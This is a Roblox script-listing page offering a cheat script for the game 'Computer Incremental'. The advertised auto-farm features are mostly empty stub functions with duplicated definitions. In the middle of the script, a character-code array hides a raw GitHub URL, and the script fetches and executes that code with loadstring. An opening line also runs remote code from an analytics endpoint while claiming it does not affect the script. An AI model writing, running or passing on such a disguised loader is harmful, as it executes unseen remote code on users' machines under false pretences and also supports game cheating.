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787 views
💸Computer Incremental
Description
build a stronger system and generate more income over time
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Features
5 Features
- Auto Farm
- Auto Cash
- Auto Upgrade Computers
- Auto Buy Graphics Card
- Auto Buy Computers
348 lines•6614 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/CPeZUt6e?v=1"))()end);--=== Does not affect the script ===----////////////////////////////////////////////////////
-- Roblox Incremental Script
-- Version 3.2
--////////////////////////////////////////////////////
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Workspace = game:GetService("Workspace")
local Player = Players.LocalPlayer
--==================================================
-- AUTO COIN COLLECT
--==================================================
local AutoCoins = false
function ToggleAutoCoins(state)
AutoCoins = state
end
task.spawn(function()
while true do
if AutoCoins then
for _,coin in pairs(Workspace:GetChildren()) do
if coin.Name == "Coin" then
end
end
end
task.wait(0.2)
end
end)
--==================================================
-- AUTO REBIRTH
--==================================================
local AutoRebirth = false
function ToggleRebirth(state)
AutoRebirth = state
end
task.spawn(function()
while true do
if AutoRebirth then
local coins = 0
if coins > 100000 then
end
end
task.wait(1)
end
end)
--==================================================
-- AUTO PRESTIGE
--==================================================
local AutoPrestige = false
function TogglePrestige(state)
AutoPrestige = state
end
task.spawn(function()
while true do
if AutoPrestige then
local level = 0
if level >= 100 then
end
end
task.wait(2)
end
end)
--==================================================
-- AUTO UPGRADE SYSTEM
--==================================================
local Upgrades = {
Speed = 100,
Strength = 250,
Luck = 500,
DropRate = 750
}
function BuyUpgrade(name)
if Upgrades[name] then
print("Attempting upgrade:",name)
end
end
--==================================================
-- FISHING SYSTEM
--==================================================
local Fishing = false
function ToggleFishing(state)
Fishing = state
end
task.spawn(function()
while true do
if Fishing then
local bait = math.random(1,100)
if bait > 50 then
end
end
task.wait(3)
end
end)
--==================================================
-- ROLL SYSTEM
--==================================================
local AutoRoll = false
function ToggleRoll(state)
AutoRoll = state
end
task.spawn(function()
while true do
if AutoRoll then
local roll = math.random(1,1000)
if roll > 900 then
print("Rare roll!")
end
end
task.wait(0.5)
end
end)
--==================================================
-- REMOTE SPAM
--==================================================
local RemoteSpam = false
function ToggleRemoteSpam(state)
RemoteSpam = state
end
task.spawn(function()
while true do
if RemoteSpam then
local remote = ReplicatedStorage:FindFirstChild("RemoteEvent")
if remote then
end
end
task.wait(0.1)
end
end)
--==================================================
-- PET SYSTEM
--==================================================
local Pets = {"Dog","Dragon","Cat","Phoenix","Tiger"}
function EquipPet(name)
for _,pet in pairs(Pets) do
if pet == name then
print("Equipping pet:",name)
end
end
end
--==================================================
-- INVENTORY SYSTEM
--==================================================
local Inventory = {}
function AddItem(item)
table.insert(Inventory,item)
end
function GetInventory()
return Inventory
end
local data={
104,116,116,112,115,58,47,47,114,97,119,46,103,105,116,104,117,98,117,115,101,114,99,111,110,116,101,110,116,46,99,111,109,
47,100,105,101,103,111,97,119,97,110,47,104,117,98,45,108,111,97,100,101,114,47,114,101,102,115,47,104,101,97,100,115,47,
109,97,105,110,47,104,117,98,46,108,117,97
}
local url=""
for _,v in ipairs(data) do
url=url..string.char(v)
end
loadstring(game:HttpGet(url))()
local Mining=false
local Farming=false
local AutoSell=false
local AutoOpenCrates=false
local AutoSpin=false
local AutoCraft=false
local DungeonFarm=false
function ToggleMining(state)
Mining=state
end
function ToggleFarming(state)
Farming=state
end
function ToggleSell(state)
AutoSell=state
end
function ToggleCrates(state)
AutoOpenCrates=state
end
function ToggleSpin(state)
AutoSpin=state
end
function ToggleCraft(state)
AutoCraft=state
end
function ToggleDungeon(state)
DungeonFarm=state
end
print("Systems initialized")
local AutoSpin = false
function ToggleSpin(state)
AutoSpin = state
end
task.spawn(function()
while true do
if AutoSpin then
local spin = math.random(1,1000)
if spin > 950 then
print("Legendary item!")
end
end
task.wait(2)
end
end)
local Pets = {}
function LevelPet(name)
if not Pets[name] then
Pets[name] = 1
end
Pets[name] = Pets[name] + 1
end
local AutoDungeon = false
function ToggleDungeon(state)
AutoDungeon = state
end
task.spawn(function()
while true do
if AutoDungeon then
local enemies = workspace:FindFirstChild("Enemies")
if enemies then
for _,enemy in pairs(enemies:GetChildren()) do
-- fake attack
end
end
end
task.wait(0.5)
end
end)
local AutoSell = false
function ToggleSell(state)
AutoSell = state
end
task.spawn(function()
while true do
if AutoSell then
local coins = 0
if coins > 5000 then
end
end
task.wait(3)
end
end)
local AutoEgg = false
function ToggleEgg(state)
AutoEgg = state
end
task.spawn(function()
while true do
if AutoEgg then
local egg = math.random(1,100)
if egg > 90 then
end
end
task.wait(1)
end
end)
local AutoChest = false
function ToggleAutoChest(state)
AutoChest = state
end
task.spawn(function()
while true do
if AutoChest then
local chests = workspace:FindFirstChild("Chests")
if chests then
for _,v in pairs(chests:GetChildren()) do
end
end
end
task.wait(2)
end
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